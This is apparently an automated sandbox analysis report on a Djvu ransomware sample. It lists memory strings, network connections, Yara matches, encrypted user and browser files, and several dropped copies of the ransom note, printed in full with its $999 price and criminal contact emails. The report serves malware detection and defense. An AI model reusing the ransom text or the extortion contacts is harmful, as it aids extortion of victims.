Source: R5391762lf.exe, 00000002.00000003.1391033574.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000002.00000002.1397540119.000000000069C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/eQ
Source: R5391762lf.exe, R5391762lf.exe, 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: R5391762lf.exe, 00000002.00000002.1397540119.0000000000638000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonn
Source: R5391762lf.exe, 00000007.00000003.1490848962.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://artifacts.dev.azure.com/office/_apis/symbol/symsrv/privacy-sdx.win32.bundle.js.map/e3b0c4429
Source: R5391762lf.exe, 00000007.00000003.1503507490.00000000097E0000.00000004.00001000.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1486532071.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com
Source: R5391762lf.exe, 00000007.00000003.1503507490.00000000097E0000.00000004.00001000.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1486532071.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets
Source: R5391762lf.exe, 00000007.00000003.1503507490.00000000097E0000.00000004.00001000.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1486532071.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets/$batch
Source: R5391762lf.exe, 00000007.00000003.1491084288.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/generate_204
Source: R5391762lf.exe, 00000007.00000003.1491084288.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/react-native-community/react-native-netinfo
Source: R5391762lf.exe, 00000007.00000003.1488893485.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mrodevicemgr.officeapps.live.com/mrodevicemgrsvc/api

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.66.133.162:443 -> 192.168.2.8:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.8:49725 version: TLS 1.2

Source: C:\Users\user\Desktop\R5391762lf.exe

Code function: 2_2_004822E0 CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetObjectA,BitBlt,GetBitmapBits,SelectObject,DeleteObject,DeleteDC,DeleteDC,DeleteDC,

2_2_004822E0

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

Source: C:\_README.txt

Dropped file: ATTENTION!Don't worry, you can return all your files!All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.The only method of recovering files is to purchase decrypt tool and unique key for you.This software will decrypt all your encrypted files.What guarantees you have?You can send one of your encrypted file from your PC and we decrypt it for free.But we can decrypt only 1 file for free. File must not contain valuable information.Do not ask assistants from youtube and recovery data sites for help in recovering your data.They can use your free decryption quota and scam you.Our contact is emails in this text document only.You can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27Price of private key and decrypt software is $999.Discount 50% available if you contact us first 72 hours, that's price for you is $499.Please note that you'll never restore your data without payment.Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.To get this software you need write on our e-mail:support@freshingmail.topReserve e-mail address to contact us:datarestorehelpyou@airmail.ccYour personal ID:0863PsawqSdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e

Jump to dropped file

Yara detected Djvu Ransomware

Source: Yara match	File source: 5.2.R5391762lf.exe.5db15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.R5391762lf.exe.5ea15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.R5391762lf.exe.5ec15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.R5391762lf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.R5391762lf.exe.5e115a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.R5391762lf.exe.5e115a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.R5391762lf.exe.5da15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.R5391762lf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.R5391762lf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.R5391762lf.exe.5ec15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.R5391762lf.exe.5db15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.R5391762lf.exe.5da15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.R5391762lf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.R5391762lf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.R5391762lf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.R5391762lf.exe.5ea15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.R5391762lf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.R5391762lf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.1561850226.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3833609200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1548831250.0000000005DA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.1801978048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1792622413.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: R5391762lf.exe PID: 7304, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: R5391762lf.exe PID: 7360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: R5391762lf.exe PID: 7500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: R5391762lf.exe PID: 7508, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	File moved: C:\Users\user\Desktop\IPKGELNTQY.docx
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	File deleted: C:\Users\user\Desktop\IPKGELNTQY.docx
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	File moved: C:\Users\user\Desktop\SFPUSAFIOL\ZQIXMVQGAH.pdf
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	File deleted: C:\Users\user\Desktop\SFPUSAFIOL\ZQIXMVQGAH.pdf
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	File moved: C:\Users\user\Desktop\GRXZDKKVDB.mp3

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\R5391762lf.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{d898effa-5251-49be-909e-6a34c1643269}\0.0.filtertrie.intermediate.txt -> decryption settings~decrease zoom level~decrease volume~decrease mouse speed~decrease mouse acceleration~decrease brightness~decode~decice~deault~deaf~deafult~ddevice~daylight saving time on or off~davice~dates~date time~date settings~date and time~date and time settings~date and time from a time server~date and time formats~data~data you send to microsoft~data viewer~data usage overview~data to improve narrator~data systemwide~data settings~data sense~data saver~data restore~data plan~data limit~data instead of wifi~data for all apps~data connection with other devices~data captured by windows mixed reality~dark~darker touch feedback~dark theme~dark theme settings~dark mode systemwide~dark mode settings~dark mode for apps~dark colours~dark colors~dafault~c~cutting and pasting~cut and paste~customizing~customize~customize narrator sounds setting~customize narrator sound effects setting~customising~cust	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{764e754d-fbdd-43df-9a27-cbb01dbf5078}\appsglobals.txt -> decrypter\dvddecrypter.exe12438{6d809377-6af0-444b-8957-a3773f02200e}\renderdoc\qrenderdoc.exe12438{6d809377-6af0-444b-8957-a3773f02200e}\microsoft system center 2012 r2\service manager\microsoft.enterprisemanagement.servicemanager.ui.console.exe12438microsoft.appv.603b45325cf2a147a217bc0826e85cce12439{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\pro evolution soccer 2018\pes2018.exe12439c:\ignition\ignitioncasino.exe12440{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\splashdata\splashid safe\splashid safe.exe12440{6d809377-6af0-444b-8957-a3773f02200e}\native instruments\komplete kontrol\komplete kontrol.exe1244025342asdf3333.stoppuhrtimer_1xbryz0n7krfa!app12441{6d809377-6af0-444b-8957-a3773f02200e}\owasp\zed attack proxy\zap.exe12441{6d809377-6af0-444b-8957-a3773f02200e}\dell\toad for oracle 2015 r2 suite\toad for oracle 12.8\toad.exe12441{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\mysql\mysql workbench 6.0 ce\mysqlworkbench.exe12441212377tik.7tik-tiktokforwindows_da70t93mgq52j!app12442{7c	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File dropped: C:\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{7fa4f3cd-f899-4abc-9ee3-31954eeeae00}\0.0.filtertrie.intermediate.txt -> decryption settings~decrease zoom level~decrease volume~decrease mouse speed~decrease mouse acceleration~decrease brightness~decode~decice~deault~deaf~deafult~ddevice~daylight saving time on or off~davice~dates~date time~date settings~date and time~date and time settings~date and time from a time server~date and time formats~data~data you send to microsoft~data viewer~data usage overview~data to improve narrator~data systemwide~data settings~data sense~data saver~data restore~data plan~data limit~data instead of wifi~data for all apps~data connection with other devices~data captured by windows mixed reality~dark~darker touch feedback~dark theme~dark theme settings~dark mode systemwide~dark mode settings~dark mode for apps~dark colours~dark colors~dafault~c~cutting and pasting~cut and paste~customizing~customize~customize narrator sounds setting~customize narrator sound effects setting~customising~cust	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File dropped: C:\$WinREAgent\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File dropped: C:\$WinREAgent\Scratch\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File dropped: C:\Users\jones\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	File dropped: C:\Users\user\AppData\Local\VirtualStore\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	File dropped: C:\Users\user\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg entropy: 7.9972815415	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{09d41dfb-343c-4c64-80de-0d8ebc18a6b9}\Apps.ft entropy: 7.99606416018	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{407fe2cc-e6ee-4027-aa00-b9fdf3f5b8e5}\0.0.filtertrie.intermediate.txt entropy: 7.99501322308	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{407fe2cc-e6ee-4027-aa00-b9fdf3f5b8e5}\Apps.ft entropy: 7.99630082306	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{fe191046-14e8-4e49-a1f5-f429b2cab500}\0.0.filtertrie.intermediate.txt entropy: 7.99494323525	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{fe191046-14e8-4e49-a1f5-f429b2cab500}\Apps.ft entropy: 7.99625430983	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite entropy: 7.99782047452	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm entropy: 7.99440118908	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extensions.json entropy: 7.99564797422	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm entropy: 7.99484848224	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite entropy: 7.99794244234	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{764e754d-fbdd-43df-9a27-cbb01dbf5078}\settingsglobals.txt entropy: 7.99603497915	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{764e754d-fbdd-43df-9a27-cbb01dbf5078}\settingssynonyms.txt entropy: 7.99831612302	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db entropy: 7.99424341354	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite entropy: 7.99758801283	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm entropy: 7.99400985366	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite entropy: 7.99856327341	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite-shm entropy: 7.99372797459	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite entropy: 7.99811281887	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log entropy: 7.99781333085	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Google\Chrome\User Data\Default\Google Profile.ico entropy: 7.99867362714	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1 entropy: 7.99845883427	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db entropy: 7.99579507464	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico entropy: 7.99733099531	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230170v1.xml entropy: 7.9923683457	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx entropy: 7.99752940284	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt entropy: 7.99233122789	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\ConnectedDevicesPlatform\L.jones\ActivitiesCache.db-shm entropy: 7.99438488563	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\webext.sc.lz4 entropy: 7.99834613663	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Microsoft\Windows\Safety\edge\remote\script_300161259571223429446516194326035503227.rel.v2 entropy: 7.99768010462	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Microsoft\Windows\Safety\shell\remote\script_96032244749497702726114603847611723578.rel.v2 entropy: 7.99448189766	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\DL2P1Z6X\pwa-vendors~left-nav-rc.52c45571d19ede0a7005.chunk.v7[1].js entropy: 7.99191962208	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\IINQQITY\pwa-left-nav-rc.6c288f9aff9797959103.chunk.v7[1].js entropy: 7.99454333944	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230172v1.xml entropy: 7.99400170358	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\DL2P1Z6X\sharedscripts-939520eada[1].js entropy: 7.99602027292	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\DL2P1Z6X\staticpwascripts-30998bff8f[1].js entropy: 7.99151353087	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\IINQQITY\pwa-bootstrap-5e7af218e953d095fabf[1].js entropy: 7.99747176827	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\LCNHN4MU\pwa-bundle-994d8943fc9264e2f8d3[1].css entropy: 7.99797401094	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\LCNHN4MU\otel-logger-104bffe9378b8041455c[1].js entropy: 7.99803845753	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\IINQQITY\thirdpartynotice[1].htm entropy: 7.99812169117	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\KAT9HXAG\hero-image-desktop-f6720a4145[1].jpg entropy: 7.99869458876	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\KAT9HXAG\microsoft-365-logo-01d5ecd01a[1].png entropy: 7.99165732054	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\KAT9HXAG\pwa-async-styles.a903b7d0ab82e5bd2f8a.chunk.v7[1].css entropy: 7.99572126397	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\KAT9HXAG\pwa-forms-group~mru~officeforms-group-forms~officeforms-my-forms~places.bcdc404c7fe22f14ccad.chunk.v7[1].js entropy: 7.99606946202	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC\INetCache\HSLUET3E\bootstrap_3.3.0_B68S-_daR6nLiLVZsh4XiA2[1].js entropy: 7.99503242913	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC\INetCache\HSLUET3E\jqueryshim_hlu0tTfjWJFWYNt1WZrVqg2[1].js entropy: 7.99200572659	Jump to dropped file
